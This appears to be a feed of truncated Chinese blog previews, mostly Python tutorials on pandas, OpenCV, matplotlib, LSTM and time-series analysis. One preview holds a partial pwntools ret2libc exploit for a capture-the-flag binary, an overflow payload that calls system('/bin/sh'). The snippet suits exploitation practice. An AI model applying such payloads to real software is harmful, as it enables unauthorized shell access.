银行风险控制模型[二分类] 1 数据读取与变量划分 1.1 读取数据 import pandas as pd inputfile = './bankloan.xls' data = pd.read_excel(inputfile) 通过data.head()查看前五行数据,结果如下: 该数据集共700条记录;最后一列表示负债与否, ‘0’表示未违约,‘1’表示违约。 1.2 划
opencv--算术操作 1. 图像的加法2. 图像的混合 1. 图像的加法 API接口cv.add(img1, img2)可以将两幅图相加,或者可以简单地通过numpy操作将两个图像相加,即img=img1 + img2。规定:两个图像应该有相同的大小和数据类型,或者第二个图像为标量值。 注:opencv加法和numpy加法之间
具体知识点全在代码注释中 绘制柱状图 饼状图 直方图 等高线 三维图 import matplotlib.pyplot as plt plt.plot plt.plot([1,4],[2,8]) #绘制一条线是 先先横坐标 再写纵坐标 plt.show() ''' 使用matplotlib绘制图形时,其中最为常用的场景。一个是画点,一个是画线,pylot的
仅仅记录一下简单的特征分析法: 数据集仍是:Pima印第安人糖尿病数据集 主要是:数据分布、散点图、相关性矩阵分析等 代码如下: from operator import index from numpy import loadtxt from numpy import sort from matplotlib import pyplot import numpy as np import pandas a
写在前面 去年七月,笔者开始接触买入股票,近一年下来,投入的的钱亏了一半,股票市场不是基金市场,其中的残酷给我这个初来乍到的年轻人上了一课。当时,我就在想,买卖股票是否能够赚钱,关键就在一个信息。内部的人有内部的消息,总是能赚大量的钱。我作为一个学生,家里边也没有背景,不可能
使用Python绘制1:1对角线图,用于对数据进行比较。 Code: import numpy as np import matplotlib.pyplot as plt x=[1,3,5,7,9] y=[2,5,9,3,7] fig,ax=plt.subplots(figsize=(5,5)) Axis_line=np.linspace(*ax.get_xlim(),2) ax.plot(Axis_line,Axis_line,transform=ax.t
从xlxs表格中读取数据画图,本例子包含各种作折线图的细节。若有问题可留言。 表格中数据为三列n行如下图所示。 1.单坐标轴例子 import xlrd import matplotlib.pyplot as plt from matplotlib.pyplot import plot,savefig from pylab import * config = { "
目录 相关链接完整代码下载链接1 读取数据预处理的文件2 查看时序3 异常值缺失值3.1 HeatMap颜色3.2 缺失值处理(多种填充方式) 4 数据平滑与采样5 平稳性检验6 数据转换7 特征工程7.1 时序提取7.2 编码循环特征7.3 时间序列分解7.4 滞后特征7.6 探索性数据分析7.7 相关性分
一、Tensor操作 ************************************************************************************************************** (1)归并操作 函数功能mean/sum/median/mju均值/和/中位数/众数nom/dist范数/距离std/var标准差/方差cumsum/cumprod累加/累乘 import
在opencv的阈值处理中,有个截断阈值的参数 THRESH_TRUNC 让我有些疑惑。因为从官方资料解释来看,是大于阈值会被设为阈值,小于阈值的保持不变 (DSTI = (SRCI > thresh) ? THRESH : SRCI),且官方解释截图也是如此: Python版代码如下: import cv2 img_gray = cv2.imread("cat.jpg", c
支持向量机(Support Vector Machine, SVM)是一类按监督学习(supervised learning)方式对数据进行二元分类的广义线性分类器(generalized linear classifier),其决策边界是对学习样本求解的最大边距超平面(maximum-margin hyperplane) 在二维空间上,两类点被一条直线完全分开叫做线性可分。从
技术背景 插值法在图像处理和信号处理、科学计算等领域中是非常常用的一项技术。不同的插值函数,可以根据给定的数据点构造出来一系列的分段函数。这一点有别于函数拟合,函数拟合一般是指用一个给定形式的连续函数,来使得给定的离散数据点距离函数曲线的总垂直距离最短,不一定会经过所
原理方面,其他网友已经讲得很详细了,这里补充下python代码 https://blog.csdn.net/liyuanbhu/article/details/49387483 点击查看代码 import cv2 import numpy as np import matplotlib.pyplot as plt # ICV=PA∗(MA−M)2+PB∗(MB−M)2 # 每一个阈值将整个直方图分割成两部分 #
对于matplotlib绘图区总是有比较强迫症的自定义要求,对于刚刚接触Python的新手来说,各种配置起来还是比较繁琐,因此开一个帖子作为注记备忘。(Jupyter-Based) 内置字体: 只能选择同款字体,用默认英文字体无法显示中文,用宋体的话中文能够显示但英文较丑。这里采用rcParams全局设置参数,也
2022/03/06 利用Stitcher进行图像全景拼接 代码 import cv2 as cv import os from matplotlib import pyplot as plt img = [] path = 'D:\work\\automation\Skill\Python\pythonWORK\cv\material\pano' folder = os.listdir(path) for file in folder: im
给定误差函数,学习率,甚至目标变量的大小,训练神经网络可能变得不稳定。训练期间权重的较大更新会导致数值上溢或下溢,通常称为梯度爆炸(gradients exploding)。 梯度爆炸在递归神经网络中更为常见,例如LSTM,因为梯度的累积在数百个输入时间步长上展开。 梯度爆炸的一种常见且相对容
参考: 在matplotlib中动态更新图 更新二维绘图 import time import matplotlib.pyplot as plt import numpy as np from numpy.random import rand if __name__ == '__main__': # Enable interactive mode. plt.ion() # Create a figure and a set of subplo
1.概述 2.Laplacian算子 下面我们用最后得出梯度的幅值为\(G(x,y) = \sqrt{ \left(g_{x}^2 +g_{y}^2\right)}\)方向为: \(\theta = \arctan{\frac{g_{y}}{g_{x}}}\)现在我们用程序来实现这个过程。 拉普拉斯算子,在数学上的表达式为: \[L(x,y) = \frac{\partial f(x)}{\partial x^{
ret2libc 1 exp from pwn import * p = process('./ret2libc1') elf = ELF('./ret2libc1') system_plt = elf.plt["system"] bin_sh = next(elf.search(b"/bin/sh")) payload = b'A'*112 + p32(system_plt) + b'A
长短期记忆网络(LSTM,Long Short-Term Memory) 使用kears 搭建一个LSTM预测模型,使用2022年美国大学生数学建模大赛中C题中处理后的BTC比特币的数据进行数据训练和预测。 这篇博客包含两个预测,一种是使用前N天的数据预测后一天的数据,一种使用前N天的数据预测后N天的数据 第一种:使用前
转自:RC低通滤波器 - 知乎 RC low pass filter,或者叫直流滤波器(DC Filter), 其作用是采用软件的方式,把一输入交流信号中的直流成分滤除掉。 其传递函数为: 其中K为加权因子,值域为 [0 ~ 1],值越小由收敛越快,但信号的强度也会被大打折扣。通常该取接近于1的值,经常值为0.999。 下图
长短期记忆网络(LSTM,Long Short-Term Memory) 使用kears 搭建一个LSTM预测模型,使用2022年美国大学生数学建模大赛中C题中处理后的BTC比特币的数据进行数据训练和预测。 这篇博客包含两个预测,一种是使用前N天的数据预测后一天的数据,使用前N天的数据预测后N天的数据 使用前五十个数据
时间序列分析简介 可参考链接: 时间序列详解 时间序列针对不同曲线情况的预测方式 时间序列python实例 python建立时间序列分析 理解ACF 和PACF ADF检验理解 ADF检验补充 实例 某段时间日活预测 历史数据为2022-01-13至2022-02-27的日活数据,大致画出曲线,该曲线不够平滑 1、进
python小波去噪实验 import matplotlib.pyplot as plt import pywt import pandas as pd import numpy as np #读取csv文件转换为列表序列 path = "data_ce(轴承)/48k_Drive_End_B007_0_122_1.csv" pathi = "48k_Drive_End_B007_0_122_1.csv" data0 = pd.read_csv(path, use
跑一个GAN DEMO , 运行时出错。 出错代码: RuntimeError: one of the variables needed for gradient computation has been modified by an inplace operation: [torch.FloatTensor [128, 1]], which is output 0 of TBackward, is at version 2; expected version 1 instea